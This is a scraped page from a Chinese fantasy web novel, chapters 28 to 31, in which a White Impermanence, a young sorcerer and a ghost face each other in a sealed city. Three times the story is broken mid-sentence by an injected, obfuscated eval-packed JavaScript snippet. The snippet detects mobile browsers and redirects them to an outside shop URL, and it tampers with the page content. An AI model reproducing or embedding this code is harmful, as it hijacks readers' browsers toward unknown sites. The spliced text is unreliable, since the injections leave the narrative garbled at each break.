惊诧之余,盛情难却立即飘然后撤。她的速度很快,像是一只随疾风而走的风筝,但春生秋杀更快——骨爪破风而来,瞬息之间逼近了盛情难却的衣襟! ……想必数日之前,他就是这样穿透了诸无的心口。 但瞬息过去,盛情难却没有被挖穿胸口。灰发青年轻巧地抓住了她斗篷的领口,像是揪住了风筝线。他的骨爪又变回了手的模样。春生秋杀一只手揪着斗篷,另一只手伸出来,轻轻地在盛情难却的额头上弹了一下。 盛情难却板着一张脸看他,黑色的眼瞳如同深深的潭水,水面没有一丝波纹。 “唉,本来想吓一吓你的,不过看盛情你一点害怕也没有,应该也知道吾辈只是在闹着玩。”春生秋杀有点失望的样子,“都是因为吾辈之前说了不会轻易杀你吧?” “首先,就算你真的要杀我,我也不会害怕。”盛情难却说,“其次,我只是觉得今天还不是你要杀人的日子,所以你现在不会杀我。” “这么不相信吾辈的话啊。”春生秋杀无可奈何地笑了,他周身鬼气浮动,但脸上却没有一点厉鬼的凶戾,“算啦,总之现在盛情你也明白了吧,你是打不过吾辈的,所以以后见面时就不用跟吾辈打架白费力气了。” “方才我只是在隐藏实力,下次就未必了。”盛情难却那张没有表情的脸显得无论她说什么话都很认真确凿。 春生秋杀愣了愣,忽然松开手。他的身影像黑雾一样骤然消散,一晃再出现时,已经在一丈开外。 与此同时,一道青色闪电当空劈下!雷电正正落在春生秋杀前一刻所站的地方,径直劈裂了屋脊,却没有伤到近在咫尺的盛情难却分毫。 28. 会者定离(四) 瓦片的碎裂声中,春生秋杀和盛情难却面面相觑,然后一齐扭头看向一侧。 “哎呀,吾辈知道盛情刚刚只是在开玩笑,不过……明瑟你应该不止是在开玩笑吧?”春生秋杀尾音上扬,嘴角勾起一个迎客的标准笑容。 年轻的术师站在另一座屋顶上,晚风中无常和鬼都静止不动,唯有他青色的衣袍翻飞如一面旗帜。他两指间夹着一枚五帝铜钱,脸上的神情跟平常的天然呆相去甚远,肃然与春生秋杀对视。 春生秋杀转向盛情难却,“盛情,是你带他过来的么?” “你走吧,我想说的话都已经说完了。”盛情难却淡然朝灰发青年道,她说话不带言外之意,因此很清晰地表达了要赶人的意思。这句话是实话不假,但她也的确不想让那两人现在大打出手。 “咦?吾辈忽然就变成碍事的外人了啊。”春生秋杀有点自嘲又有点可怜地说,话语还是像春雨一样柔和。跟盛情难却相反,他说话常常意味深长。而盛情难却虽然感情淡薄,却能敏锐地察觉他人的情绪。此刻她就听懂了春生秋杀隐含的抱怨,不是抱怨“赶他走”,而是抱怨“竟然被赶走的是他”。春生秋杀带着心酸的微笑,又转向一言未发的木明瑟,“可是明瑟应该还不想让吾辈就这么走了吧。” “下山这么些天,总算遇到本职的工作要干了。” 木明瑟的语气意外的平静,甚至有点犯懒的感觉。他略略捻动指间的铜钱,忽然又一道惊雷落下,春生秋杀闪身躲开。 “术师的本职是捉鬼驱妖吧,不过连那边专司捉鬼的白无常都没有动手,其实明瑟你也没必要对吾辈出手吧。”春生秋杀好声好气道,“而且可能你误会了,刚才吾辈并没有在欺负盛情啊。” “如果你方才对盛姑娘动手了,也许你现在已经死了。”木明瑟不客气地说。 空中突然响起火花炸开般的噼啪声,青色雷电在春生秋杀身边交织成网,如同牢笼一般将春生秋杀困在其中。如果说方才两道落雷只是提醒和试探,那么现在木明瑟是开始动真格了。 “好歹我们也认识这么多天了,对吾辈真是一点不留情啊。”春生秋杀还是那副跟朋友寒暄似的口吻,没有乞求的意思,只是顺应气氛地感喟一句。 木明瑟干脆懒得回答。雷电构筑的牢笼逐渐收缩。 同为修道者,术师与仙门中人不同,行事自由,有时候会游走于黑白两边;但木明瑟显然绝对站在“白”的那侧。上次发现巫女的罪行时,因为顾虑灵堂依然属于人世、应该由官署判罪,所以才没有直接动手。而如今撞上春生秋杀这个货真价实的鬼,他显然再不留情面。 春生秋杀望着纵横交错的雷电,青色的雷光在那双殷红的眼瞳中闪动,两种相反的颜色错杂相映成淡淡的金色。在彻底被雷电缚住之前,他抬起手稍稍遮住脸,直接迈步穿过了灼目的闪电青雷。 在接触到雷光的刹那,他的身形似乎扭曲了一瞬,然而接着只是自然地走了出来。他撤下手露出笑吟吟的脸,似乎连头发丝也没有烧焦半根。 木明瑟微微一怔,很快手指一捻,将铜钱收入袖中,雷电随之崩解。然后从怀中摸出了一个小小的青铜铃铛。 见他拿出铃铛,春生秋杀却愣了,“有必要这么快就拿出最厉害的法器么?” “我还想快点回去休息。”木明瑟一如既往地直率。 “唉,看来明瑟是决心要跟吾辈比试一场了。”春生秋杀眨眨眼睛,朝盛情难却轻轻挥了挥手,“这回跟盛情你没有关系,你就远远看着好了。” 盛情难却瞟了他一眼,飘然而起,却没有远去,而是落在了木明瑟身边。 如果这两人不得不打一场,她会帮木明瑟一把。以木明瑟的能力或许能跟红名鬼一较高下,但青衣少年现在……太虚弱了。 “诶?盛姑娘……”木明瑟扭头看向盛情难却,冷漠的神情马上变了,有点不好意思地笑了笑,“不用担心我,我不会受伤的。” 盛情难却没有答话,引魂幡在他肩头一拂。木明瑟顿时觉得精神一阵清爽——之前白无常出门时用引魂幡在他头顶敲了敲,那时他也有如此感觉,仿佛连日来积重难返的疲惫一扫而空。 而对面的春生秋杀看着盛情难却的举动,一下子好像真的呆住了。他先是有点不敢置信,然后脸上的表情渐渐失色。 “盛情你偏私一方,这可不公平啊。”他眼角眉梢都略微垂了下去,苦笑着说,“而且就算要偏心……也该偏心吾辈吧。” “你又不告诉我我们之间有什么关系,自然偏心不到你头上来。”盛情难却毫无波澜道。 春生秋杀张了张嘴,正欲说些什么,倏忽之间铃声震耳!木明瑟似乎只是在轻轻晃动手里的铜铃,然而高亢的铃声遽然响彻了整座寂静的城池。青衣术师口中念念有词,但在迸裂的铃声中根本无法听清。 盛情难却默默将引魂幡换了只手,挡在她和木明瑟之间,聊以隔绝几分声响。连她都感到躯体被铃声微微震动,若是换作一个凡人站在木明瑟身边,恐怕那人余生都再也听不清任何声音了。 而春生秋杀对铃声的反应最为剧烈,他不由自主地倒退一步,忽然惨白的鬼气如同流水一般倾泻而出,阴风四起。借着缭绕鬼气的屏护,春生秋杀一跃扑向木明瑟! 厉鬼的动作在铃声中迟缓了许多,但木明瑟根本没有躲避。白森森的骨爪劈向他的头顶,却半空砸在了什么壁障上,只漾开一层淡淡的金色。木明瑟身边蓦地燃起一簇火焰,火光中一张符纸缓缓烧尽。 盛情难却挥袖散开自己身边流窜的鬼气,一边提防鬼气侵害到附近的凡人,却没有顺手帮衬木明瑟。她直觉如果她再涉入这场“比试”,结果可能反而会不可收拾。 鬼气急速流泻,春生秋杀再次伸手抓去,然而木明瑟仿佛忽然感到眩晕一般闭了闭眼,铜铃声止。又一簇符火燃起,屏障挡住了厉鬼的袭击,但木明瑟像是无力再摇动铃铛,抬手掷出一张符,一瞬间像是有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518886|139961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无形的刀光剑影倾轧而来,春生秋杀被逼退了数尺,随后凶厉的鬼气径直将符箓化作齑粉。 幽暗的寂静重新降临,春生秋杀就这样飘浮在空中,却没有再出手,周身缭绕的鬼气也渐渐偃息。 “毕竟今天不是杀人的日子,就到此为止吧。要是伤到了明瑟,还请见谅。”他笑着说,却是朝着旁边的盛情难却开口,宛若直接将木明瑟视作了空气,“既然盛情想让吾辈走,那吾辈这就离开。以后就算大街小巷地喊吾辈的名讳,吾辈也不一定会随叫随到了。不过……我们一定还会再相见的。” 仿佛许下了一个诺言一般,灰发青年微笑着隐没在夜色中。 春生秋杀甫一离去,木明瑟忽然弯下身子,在他往下栽倒之前,盛情难却一把拎住了他。 “多、多谢……”木明瑟勉强提起精神,声音还是有气无力的。 “你怎么跟来了?”盛情难却问。 “因为担心盛姑娘遇到危险,等了一会还是忍不住找出来了。”木明瑟老实说。 “你如今的样子,来了也是双双遇险。”盛情难却无情地一语道破。 “因为盛姑娘说我是可以信任的人,所以想着不能辜负盛姑娘的信任才行。不过看来我太高估自己了。”木明瑟讪讪道。他努力想要站稳,然而实在力不能支,盛情难却干脆拎着他往客栈飘去。 “我来的时候只看到那人显露了鬼的模样,他就是杀害诸无先生的凶手么?”木明瑟问。 盛情难却微微有些诧异。因为她没有告诉过木明瑟李绣之其实并非凶手,所以在他的印象里,理当李绣之还是嫌疑最大的杀人鬼。但他那日没有去见李绣之,甚至也不了解天衣无缝和松枝被杀的详情,竟然已经直接推测出了春生秋杀是真凶。 盛情难却点了点头,木明瑟又问道:“那盛姑娘……希望那只鬼被除掉么?” 盛情难却一愣,侧目看他。青衣少年眼瞳澄澈,只是有些明晃晃的迷惑,语气不似上一问那样隐含着笃定的意思。这个山里来的年轻术师固然天资聪颖,可是对人心所想却一知半解,远不如其余人敏锐。他的确不明白盛情难却对春生秋杀的态度。 “暂时还不希望。”盛情难却言简意赅地答道。 “是这样啊……不过就算盛姑娘不愿意,如果下次有机会,我还是会除掉他的。”木明瑟轻轻地说,“但是我的身体只会越来越差,应该没有这个机会了吧。其实我还以为刚刚盛姑娘会拦住我不让我动手的。” 他最后那句话有点没头没尾,但盛情难却听出了他没有说尽的意思:他不是以为她会担心春生秋杀而阻拦,而是以为她会担心自己气力不济受伤而阻拦。似乎他错判了他与白无常的关系,至少盛情难却心中并没有怀着什么挚友之情。 “拦住你的话你会不甘心吧,没有动手就白白地把鬼放走。”她平淡地解释了一句。 半晌之后木明瑟没有回答,盛情难却转头看去,青衣少年已然昏了过去。 29. 础润知雨 三月初十,雨声淅沥。 天上的云层并不厚重,间隙还透出白蒙蒙的天光,仿佛一泼淡墨流动在白宣上,还未干透,于是淋漓地滴流下来。 疏疏落落的丝雨中,披着白麻布斗篷的少女独自抱膝坐在屋顶上。斜风细雨径自穿过她,她的身影也像南境春雨一样空忽。她漫无目的地望着远处,似乎在发呆。 整座江州城都是静止的,流动的只有雨幕和偶尔几片落叶落花。花木在无死无生的异境中虽然长盛不衰,但它们原本没有魂魄,因而不像活人一样不受风雨侵袭。地上零落的叶片在雨中微微颤动着,翠绿如新。 在这种静止仿佛要永无止境地延续下去时,忽然从客栈大门飘出了一杆纸伞。伞面是青绿油纸,虽然有些旧了,但被雨水一浸润,颜色立即活泛起来,像是承载了一纸远山上的春意。 盛情难却眼风往下一扫,略略有些疑惑。木明瑟无事应该不愿动弹,不知现在他冒雨要去干什么。她终于从屋顶上起身,一袭白斗篷随雨直接飘落在木明瑟身侧。 “……盛姑娘!”木明瑟似乎被无声无息出现的她吓了一跳,连忙将纸伞向她倾斜过去。 “我淋不到雨。”盛情难却不以为然地把伞推还给他,“你去干什么?” “呃……我、我去把这个手串还回去。”木明瑟有些慌张地从袖子里摸出了那个玛瑙手串,见盛情难却没有反应,又补充道,“那个术阵忽然失效了,所以我想手串应该也没用了,既然是借来的,还是早点还回去好。” “不能用术法送回去么?”盛情难却看也不看地问。 木明瑟又语塞了一瞬,大概在纠结该说能还是不能,然后他眯着眼睛干笑起来,“在房间里待太久了,正好出来透透气。” 他眯起眼睛似乎只是为了遮掩飘忽的眼神,显然说的不全是真话。而盛情难却仿佛无视了他的那点心虚,没有再出声追究,一语不发地跟着他沿着街道走去。一时间只听到靴子踩在积水上的声音。 一阵沉默后,木明瑟忍不住开口搭话:“那个……术阵失效了,应当是李绣之被杀了吧?” “是啊。”盛情难却淡淡地说,“今日若死的不是她,死的也许就是你了。” 木明瑟呆了呆,还没有明白过来其中的关系,盛情难却已经话锋一转:“你当时说要封住江州城,要么需要许多人一起布阵,要么需要倚仗神器。若是倚仗神器,那么那件器物会在城中么?” “一般来说是这样吧,就像如果压住一张纸,就要把石头放在纸上面……不过也不一定。”木明瑟想了想,“也有些很厉害的法器,我在《上古异闻注》中看到过说上古有两件神器,摇光录与天权笔。传说摇光录上记载着天下因果祸福,而用天权笔可以修改摇光录。如果同时得到了这两样东西,那就只要拿着笔随便在摇光录上写写划划,不就可以在千里之外施术么……不过这些都是我自己想想的啦,毕竟只是传说而已。盛姑娘是想到什么蹊跷了?” “我只是觉得如果封住江州的神物若是在城外,那我们被困在城中就无计可施了。”盛情难却顿了顿,心里有些诧异于木明瑟的直觉,或者说总是与她无意中心思暗合,“不过说到纸和笔,我倒是想到了两样东西,而且恰巧都是司掌生死的地府的器物……更恰巧的是,那两样东西近来都丢失了。” “纸笔……地府……”木明瑟恍然道,“莫非是生死簿和判官笔?” “没错。你也知道,我的生死簿不见了,而听说前段时日判官的笔似乎也丢了一支。” 木明瑟点点头,“这确实凑巧。不过若是想要盗取这两样东西,且不说盛姑娘带着的生死簿,想拿判官笔必须要能进入地府吧?” “能出入地府的,只有阴差、鬼魂,还有一些本领通天的妖怪和术师……”盛情难却停了一停,目不斜视地望着前方的雨帘,“比如说你。” “咦?虽然我可能是做得到……”木明瑟转了转眼睛,像是在认真思考可行性,随后果决道,“但是绝对不是我啊!” “开玩笑的。”盛情难却不咸不淡道,“也有可能……是我拿的。” 她说这句话时没有停步也没有回头,平静得像是在坦言一个事实。一溜雨水滑落,木明瑟震惊得手中的伞都歪了,一霎时他脸上表情千变万化,嘴巴微张却说不出话来。 “开玩笑的。”盛情难却又说。 木明瑟将信将疑地看着她的神情,这才拍拍胸口,松了口气,“盛姑娘你说得这么认真,我差点就当真了。” 盛情难却微微歪头,没有什么戏弄得逞的愉快。她偶尔兴起会说一些冷笑话,这只是日积月累被天衣无缝传染的习惯。不过方才的笑话若是换作天衣无缝或者春生秋杀来听,大约都是会心一笑,或者故作配合……不过木明瑟就太配合了,会把刚刚的话当真的也唯独只有他了。 这也并非是木明瑟好骗,毕竟按道理盛情难却的确有可能拿走判官笔、私藏生死簿,他只是单纯被盛情难却的神色态度诓过去了。盛情难却不由想,说不定木明瑟也没看出她有时露出的笑容其实都是故作的假笑。 这样想着,她嘴角上扬,转头朝木明瑟道:“说了我不会淋雨,怎么还把伞移过来?” 判官笔和生死簿一事虽有蹊跷,不过有些地方她还没想通,便先存而不论了。 “我一个人撑着伞总觉得不太好意思……”木明瑟挠了挠头发。虽说无常不受风雨所扰,但让盛情难却独自走在雨里还是让他心里有些别扭。然而他转念一想,又觉得自己或许自以为是了,真诚问道:“莫非盛姑娘你更喜欢在雨里走路?” 盛情难却对他的不懂察言观色几乎有些无奈了,干脆不搭理他。这时一阵歌声在雨中飘飘渺渺传来,引得两人脚步一顿。 “巫歌。”盛情难却听过类似的歌声,立即辨认出来。不过与当时在洞窟中听过的调子不同,洞中的巫歌神秘纤细,而现在的歌调庄重中却隐约透着哀伤。 “是那个巫女在唱歌么?我们过去看看吧。”木明瑟道。他脸上也没有奇怪的神色,大约在他心里灵堂就是个怪人,做什么事都不足为奇。 两人拐了个弯,转而朝歌声传来处而去。走了不久,只见一间小院院门大开,灵堂正在其中且歌且舞,一头绛色的长发被雨水染湿,色泽显得比往常深重,只有衣裳上缀着的羽毛珠饰鲜亮依旧,随着舞蹈的动作瑟瑟摇动。 而在她脚边,红衣女子静静地倒卧在地,红色的裙裾摊开,仿佛一摊洇开的血迹。而她心口处淌出的鲜血已经干涸,只留下一个血肉模糊的空洞。 木明瑟在院门口止步,望着尸体与巫女这副诡异的景象,有些困惑又有些警觉,右手探入袖中捏出一张符箓,提防灵堂在行什么巫术,然而却没有感知到有术法的施展。看了一会,他忽然明白过来,悄声问盛情难却:“这是在举行葬仪?” “嗯。”盛情难却简短地应他。她以前也未见过巫祝主持的葬仪,但身为无常,她能感觉出来巫女的歌舞中蕴含着送别亡者的意味。 “那……那位是李绣之?” 红衣女子死法惨烈,面色却很宁静,附着在身上的鬼气也消散无踪,仿佛只是一位安睡的普通姑娘。不像一个闺阁小姐,也不像一个杀人鬼。 “是她。”盛情难却对李绣之的尸体全然不感兴趣,视线很快转向灵堂。 巫女飘荡的歌声听得人心中似乎也有什么在幽幽上浮。满天雨丝绵密,首尾相连,仿佛是在缓缓倒流,从而将天空染成了灰蓝色。 一曲挽歌结束,巫女猛然旋过身,黑底绘金的面具下传出乐呵呵的的声音,霎时将哀戚的氛围一扫而空, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533130|139961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “两位是来找我的?莫非有什么生意?” 盛情难却已经现身,漠然道:“没有。来还东西。” 木明瑟默默拿出那串玛瑙手链,灵堂接过之后直接往手腕上一戴,欢快道:“好啦好啦,下次如果有什么事记得再惠顾哦!” “你不是万事都要收取报酬么,你为李绣之举行葬仪,难道收了她的钱?”木明瑟问道。 “她当然没有钱可付,所以是我自愿来给她举行葬仪的,至于报酬么,我已经替她付给神灵大人了。”灵堂不以为意。 盛情难却突然拍了拍木明瑟的胳膊,“我有话要跟灵堂说,你别听。” “诶?为何?”木明瑟不解,“我保证我听了也绝对守口如瓶。” 他起初露出好奇的神色,然后忽然眉头一皱,紧张地来回看着盛情难却和灵堂,大约以为她们有什么不可告人的秘密。 “你想听就听着吧。”盛情难却冷冷道。 她做无常的这些年,虽然偶尔会逢场作戏地与人交际,不过大多数时候都不太顾忌他人感受。现在她难得想顾虑一回木明瑟的感受,谁料对方并不依言听令,那她自然也无所谓。 她转向灵堂问道:“巫女平时可需要饮食?” “当然要吃饭啊,一日还要吃三餐呢。”灵堂虽然疑惑她为什么问这个,不过还是很爽快地回答。反而是一旁的木明瑟脸色微微一变。 “在如今生死混沌的异境中,食物饮水都不能入口。你若是照常饮食,为何并无异状?”盛情难却道。 安身之本,必资于食。如果误食了供奉阴间的食物,活人就会被阴气所侵,再难返回阳间。而在如今江州生死混沌的异境内,若是本属于阳间的人吃喝了什么,必将也不再是正常的“人”——而且这些食物顶多只能饱腹,并不能像正常食物一样养益身体,跟土块无异。 无常和鬼都不需要进食,松枝本身是僵尸不会饿死,而诸无身为半仙,辟谷个一年半载也不在话下。被困在城里的……只有两个人是例外。 “唔,巫祝的吃食都是特别处理过的,受神灵大人的恩泽,本来也不是普通的食物,所以没什么关系。”灵堂热忱道,“二位也想尝尝么?不过吃了之后恐怕就会归于大司命大人座下了。” “是会成为巫祝,还是会成为祭品?”盛情难却平声问。 “这就要看大司命大人的选择了。”灵堂耸了耸肩,“总之,吃了不属于人间的食物,肯定会变成非人之物咯。”她称自己为“非人之物”的时候倒是坦然。 盛情难却偏头看向木明瑟,面无表情道:“你想吃么?” 雨水滴滴答答地从伞缘坠落。片刻之后,木明瑟似乎回过神来,笑了笑,“我不吃。” 青衣少年往常都是喜怒哀乐形于色的性子,然而此时他的笑容却有些难以言尽的复杂意味,仿佛这场朦胧的雨模糊了他的心思。 “其实我手艺不错,还蛮好吃的……应该没有别的事了吧?那我就先走一步了。”灵堂像兔子一样越过两人,蹦蹦跳跳地走掉了,也没有再回头看一眼李绣之的尸体。 “我们……把她埋了吧。”木明瑟望着伏尸在地上的红衣女子,小心地提议,“不然把一个死人放在人家院子里也不好啊。” 盛情难却不置可否,“你想埋在哪里。” “坟地应该在城外吧……只能埋在更远山上了。” “随便你。” “那就拜托盛姑娘你去把她埋了吧!”木明瑟忽然一脸郑重地凑过来,大言不惭道,“我就先回客栈休息了……我在客栈等盛姑娘!” 仿佛生怕盛情难却拦着他回去偷懒,不等盛情难却有任何反应,木明瑟风一般逃走了,只留下一连串靴子踩上积水的响声。和来时一样,都是一个人的脚步声,有点寂寥地落在雨天里。 30. 水木明瑟(一) 盛情难却从来不认为自己是个很好说话的无常,显然木明瑟也并不这么认为,否则他不会不敢等盛情难却回答就一溜烟跑了。所以恐怕连他都没有想到,盛情难却当真把李绣之送去了更远山。 而当盛情难却花了半日从山上回来、又在半日之后发现木明瑟失踪时,这场淅淅沥沥的雨已经停了。 盛情难却虽然完成了木明瑟的请托,不过完成得有些潦草。因为当她提着红衣女子的尸体来到更远山时,才突然发现一个问题——她没法挖出一个坑来把尸体葬进去。 想要挖坑通常得有把铲子或者类似的器具,最不济就只能徒手挖土。而盛情难却既身上没有任何工具,也不愿意空手挖一个坑出来,这个小小的疏忽于是竟然难住了白无常一会。盛情难却思量片刻,终于没想出什么办法,只好就地把尸体一扔。 当时木明瑟提出要埋葬李绣之的时候,虽然像是顺口商量的语气,但这绝非是他信口一说,也不仅仅只是一个把盛情难却支开的借口。盛情难却看出了他的这份用心:不想让死者没有葬身之所,也不想江州城恢复正常之后人们突然见到横死的尸体而惊惶。 分明他自己也活不久了,还如此关心旁人的事。盛情难却心想。 她又随手从地上扯了几蓬草盖在尸体身上。虽然这样还远远称不上安葬,不过至少不会有碍观瞻,也算大半完成木明瑟的委托了。她掸了掸手,最后看了一眼掩在草与泥之下苍白的面容,忽然微微恍惚,一丝转瞬即逝的熟悉感掠过心头。 无常自然不负责给人下葬,那么是她在成为无常之前,也曾这样埋葬过谁么? 盛情难却以前从未对生前的事有过什么印象,但似乎自遇到春生秋杀开始,那些已经抹去的往事偶尔会在刹那显露端倪,像是一座原本牢固的高台如今变得脆弱,遭受敲击时便会簌簌落下几颗灰尘。 盛情难却又看了尸体一眼,那种似曾相识的感觉已经无迹可寻,她也不再多想,转身飘然离去。 当盛情难却回到客栈时,木明瑟正裹着被子躺在床上,看上去睡得十分香甜。原来已经贴了几张镇宅符的房间里又多了几张符箓,仿佛这位术师为了这一觉准备万全,决心不让任何邪祟打扰他睡个昏天黑地。 盛情难却没看出有什么异样,反倒略微有些诧异。毕竟木明瑟明显是特意把她支开,然而现在却只是在这里睡觉,好像他溜走就真的只是为了偷懒。盛情难却自然也不会把他叫醒来质问,便由他这样睡着,独自又去城中巡视了一圈。 她这趟出门是抱着找人的心思,然而除了寿衣铺的老板之外,连个会动的鬼影都没见到。甚至当她再次回到客栈时,木明瑟也依然一动不动地躺在床上。 盛情难却终于察觉到不对了。就算木明瑟睡得再沉,也不可能半天过去都不曾动弹一下。她直接靠近榻边,跟上回将明瑟从幻觉中唤醒一般,一指点在了木明瑟额头。 “木明瑟”随着这一指蓦地消失了——或者说,变成了薄薄一张飘落在枕头上的小纸人。 盛情难却无话可说。她就算不懂道术也看出来了,木明瑟这是用类似傀儡术的术法瞒过了她,实际上本人早已不知道跑到哪里去了。她捡起那张已经是普通纸片的小纸人,不由想若是她最初没有依言搬李绣之去更远山,而是提早赶回来,木明瑟还能来得及做这番布置么? 回想起昨日出门时少年见到她的失措,盛情难却忽然明白了。早在那个时候木明瑟就已经准备妥当,谋划好了这一场失踪!只是没想到一出门就撞上盛情难却,只能找了借口蒙混过去。 而且显然……他这一走就不会再回来了。 盛情难却自然知道当时木明瑟是故意把她支开,而她之所以顺着他的意离开,也是因为她无所谓木明瑟要去干什么——反正他也不会傻到去找春生秋杀拼命。 本来是无所谓的。 但她发现那个少年原来一走不会再回来了,走得还如此匆忙。这样轻率的离别像是投进深潭的一粒小石子,令潭面泛起了微末的涟漪。 盛情难却并不难过,非要说的话只是有些不痛快,就像三月初一的那个傍晚一样。她讨厌离别,尤其是不期而至的离别。虽然她并没有什么凄凄切切的离愁别恨,相反,她会觉得心间好像又空荡了一点。 她举目环顾房间。既然木明瑟不打算再回来了,那这重重符咒也就不是为他自己而设。这处妖鬼莫侵的所在是他临走前特意留下的,一个绝对安全的地方——也许不是特意留给盛情难却的,但现在城里除了她几乎也没别的什么人了。 盛情难却不喜欢这样的好意。如果要分别的话,她希望两方能够再无瓜葛,最好能够形同陌路。 她抿了抿嘴角,从怀里掏出一只纸鹤。这是她之前为了说服木明瑟而向他要的,本应是用来传递危急的情况。 盛情难却一把将纸鹤抛出。这个小巧的术法造物在空中晃悠两下,拍拍翅膀,很快飞出了门外。 一个时辰前已经雨过天晴,青衣少年坐在桥边,那把油纸伞收拢倚在一边。新鲜的日光似乎晒得人有些发困,他长长出了一口气,上下眼皮直打架。 春光明媚,耳边仿佛传来悦耳的鸟鸣声……木明瑟猛地睁开眼睛,符纸叠的纸鹤正在他面前盘旋,一边发出急促的啼叫声! 他惊得站起来,这个突然的动作令他有些晕眩。木明瑟扶着额头,跟着纸鹤转过身去,又被映入眼帘的白色斗篷惊得后跳一步,“……盛姑娘!” “我没事,放纸鹤只是为了来找你。”盛情难却双臂环抱,淡淡道,“你用了什么隐匿的术法吧,不跟着纸鹤我找不到你。” “这、这样啊……”木明瑟干笑两声,“其实我只是想一个人出来散散心而已。” 盛情难却侧身往后一靠,靠在石桥的栏杆上,说出口的话搭着她平平的语调,显得分外冷酷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546001|139961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“你快要死了吧。” 木明瑟哑口无言。正当他沉默时,盛情难却又开口道:“你是不想死在我面前么?” 青衣术师默了默,悠悠地叹了口气。他也懒懒地倚在桥栏上,伸手收回纸鹤,“死在别人眼前总觉得很奇怪啊,像是会麻烦别人似的……其实我也说不太清这种感觉啦。不过听说家里养的猫在快要死去的时候会离家出走,不让人看见,也许差不多就像这样吧?” “那是因为猫在虚弱的时候不信任人。”盛情难却说。 “咦,是这样吗?”木明瑟呆了呆,“我没有不信任盛姑娘的意思……” “说笑的。”盛情难却面无表情道,“李绣之的尸体,我已经搬去更远山了。” 木明瑟眨巴眼睛,从盛情难却出现开始,她的每句话都令他有些惊讶,“我还以为盛姑娘不会去的。” “你是真心想拜托我这件事吧?”盛情难却不动声色道,“而且这是你第一件请我去做的事情。我不喜欢欠别人的人情,你帮了我很多忙,我只是还人情罢了。” “其实盛姑娘也帮了我很多回了啊。”木明瑟笑着说,“如果没有盛姑娘给我安魂,我可能还活不到现在呢。” 盛情难却慢慢转过头盯着他,然后忽然抬起手摸了摸他的头顶。 木明瑟睁大眼睛,虽然显得有些吃惊,不过还是乖乖低下脑袋任她抚摸。被白无常摸头的感觉就好像一阵凉风从头顶拂过,并不温暖,却让人觉得惬意。 触碰之下,盛情难却更加清晰地察觉到,木明瑟的魂魄已经极不安稳。然而尽管她是引魂的无常,除了勉强安魂之外也无计可解。因为并非是木明瑟的魂魄有什么损伤疾患,而是他的□□已经极为衰弱,难以再容纳魂魄。 哪怕木明瑟是再高明的术师,他毕竟也还是血肉之躯。自江州异状以来,他已经连续十几天粒米未食、滴水未进。普通人五日不吃不喝就已濒死,而木明瑟靠着术法维系和白无常的安魂,又硬生生撑了那么多天。他平时那副懒怠挪动的模样或许是出于本身的性子,但更有可能是为了节省气力,减少一点身体的消耗。 然而无论如何,他的身体现在也已经到了极限。 盛情难却数次为他安魂,其实相当于给他续命。若是生死簿还在手上,盛情难却也许不会这么做,毕竟生死寿数都明明白白写在簿中,所谓续命或许是无用功,或许是违反天道之举。不过现在生死簿不在,盛情难却便权当不知道既定的生死,也不去管这么多了。 白无常最后拍了拍木明瑟的脑袋,再次强行令他的魂魄安顿在身体里。她像是给一堆将熄的炭火扇风,迫使它再亮起一星半点火苗,但阻止不了这堆炭火缓缓燃尽。 “多谢盛姑娘……”第二次被摸头,木明瑟还是支支吾吾,局促得像是突然被拎住后脖颈的猫崽。 盛情难却收回手,淡淡地说:“其实你不该被卷进来的。” 31. 水木明瑟(二) 无常、厉鬼、巫女、仙家……被困于异境的这些人中,只有木明瑟背景最为单纯,心性也最为单纯。一个刚出师下山的年轻术师,本该正要开始游历四方,而不该初来乍到便被困在一个死局中。 凭木明瑟的本事,寻常的妖魔根本奈何不了他,然而他偏偏来到了江州城,遇到了前所未有的异状,简直像是天道故意的捉弄。 “盛姑娘你知道么?”木明瑟还是低垂目光看着脚边的杂草,忽然说,“我师父姓怀。” 天衣无缝和春生秋杀都是那种哪怕别人一声不吭,也能自如地自说自话下去的人;但木明瑟显然不一样,正眼巴巴等着盛情难却接他的话。盛情难却于是道:“是那个很有名的怀家么?” “就是那个大奉第一的术师世家。”木明瑟抬起头,“不过盛姑娘你应该不知道为什么怀家是最为兴盛的术师世族吧?有这样一桩逸闻,说怀氏一族不仅多出超世之才,而且怀家人是唯一能拥有绝世道术天赋、却还能够寿终正寝的一族。其实我师父真的是非常厉害的术师,而且他是一个活了很久的老头子,所以肯定出身自那个怀家。” 盛情难却揭破道:“意思是,除了怀家人,别的天赋异禀的术师都不得善终么?” 